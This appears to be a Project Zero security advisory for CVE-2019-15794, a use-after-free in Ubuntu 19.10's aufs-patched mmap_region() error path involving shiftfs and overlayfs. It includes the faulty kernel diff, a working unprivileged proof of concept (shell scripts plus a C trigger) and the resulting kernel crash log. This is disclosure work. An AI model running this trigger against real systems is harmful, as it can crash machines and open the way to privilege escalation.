Ubuntu: ubuntu-aufs-modified mmap_region() breaks refcounting in overlayfs/shiftfs error path Tested on 19.10. Ubuntu's aufs kernel patch includes the following change (which I interestingly can't see in the AUFS code at https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c): ================================================================== +#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__) [...] @@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr, return addr; unmap_and_free_vma: + vma_fput(vma); vma->vm_file = NULL; - fput(file); /* Undo any partial mapping done by a device driver. */ unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end); [...] +void vma_do_fput(struct vm_area_struct *vma, const char func[], int line) +{ + struct file *f = vma->vm_file, *pr = vma->vm_prfile; + + prfile_trace(f, pr, func, line, __func__); + fput(f); + if (f && pr) + fput(pr); +} ================================================================== This means that in the case where call_mmap() returns an error to mmap_region(), fput() will be called on the current value of vma->vm_file instead of the saved file pointer. This matters if the ->mmap() handler replaces ->vm_file before returning an error code. overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails, see ovl_mmap() and shiftfs_mmap(). To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap() to bail out with -ENODEV if MAP_SHARED is set. I would have used overlayfs instead, but there is an unrelated bug that makes it impossible to mount overlayfs inside a user namespace: Commit 82c0860106f264 (\"UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower and upper mounts\") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE already has the same value. This causes mount_too_revealing() to bail out with a WARN_ONCE(). Note that this PoC requires the \"bindfs\" package and should be executed with \"slub_debug\" in the kernel commandline to get a clear crash. ================================================================== Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0 user-Standard-PC-Q35-ICH9-2009 login: user Password: Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0 Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 updates can be installed immediately. 0 of these updates are security updates. user@user-Standard-PC-Q35-ICH9-2009:~$ ls aufs-mmap Documents Music Public trace.dat Desktop Downloads Pictures Templates Videos user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/ user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7 user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh #!/bin/sh sync unshare -mUr ./run2.sh user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh #!/bin/bash set -e mount -t tmpfs none /tmp mkdir -p /tmp/{lower,middle,upper} touch /tmp/lower/foo # mount some random FUSE filesystem with direct_io, # doesn't really matter what it does as long as # there's a file in it. # (this is just to get some filesystem that can # easily be convinced to throw errors from f_op->mmap) bindfs -o direct_io /tmp/lower /tmp/middle # use the FUSE filesystem to back shiftfs. # overlayfs would also work if SB_I_NOSUID and # SB_I_USERNS_VISIBLE weren't defined to the same # value... mount -t shiftfs -o mark /tmp/middle /tmp/upper mount|grep shift gcc -o trigger trigger.c -Wall ./trigger user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c #include <fcntl.h> #include <err.h> #include <unistd.h> #include <sys/mman.h> #include <stdio.h> int main(void) { int foofd = open(\"/tmp/upper/foo\", O_RDONLY); if (foofd == -1) err(1, \"open foofd\"); void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); if (badmap == MAP_FAILED) { perror(\"badmap\"); } else { errx(1, \"badmap worked???\"); } sleep(1); mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0); } user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh /tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark) badmap: No such device [ 72.101721] general protection fault: 0000 [#1] SMP PTI [ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu [ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014 [ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 [ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 [ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 [ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 [ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 [ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 [ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 [ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 [ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 72.202815] Call Trace: [ 72.203712] mmap_region+0x417/0x670 [ 72.204868] do_mmap+0x3a8/0x580 [ 72.205939] vm_mmap_pgoff+0xcb/0x120 [ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0 [ 72.210078] __x64_sys_mmap+0x33/0x40 [ 72.211327] do_syscall_64+0x5a/0x130 [ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 72.214177] RIP: 0033:0x7faa3ecc7af6 [ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61 [ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009 [ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6 [ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000 [ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000 [ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100 [ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000 [ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk [ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]--- [ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs] [ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00 [ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202 [ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000 [ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900 [ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000 [ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790 [ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740 [ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000 [ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0 [ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 ================================================================== Faulting code: 0000000F 55 push rbp 00000010 4889E5 mov rbp,rsp 00000013 4157 push r15 00000015 4156 push r14 00000017 4155 push r13 00000019 4154 push r12 0000001B 488B87C8000000 mov rax,[rdi+0xc8] 00000022 4C8B6810 mov r13,[rax+0x10] 00000026 498B4528 mov rax,[r13+0x28] 0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE 0000002F 0F8497000000 jz near 0xcc 00000035 4989FC mov r12,rdi 00000038 4989F6 mov r14,rsi As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Related CVE Numbers: CVE-2019-15794. Found by: jannh@google.com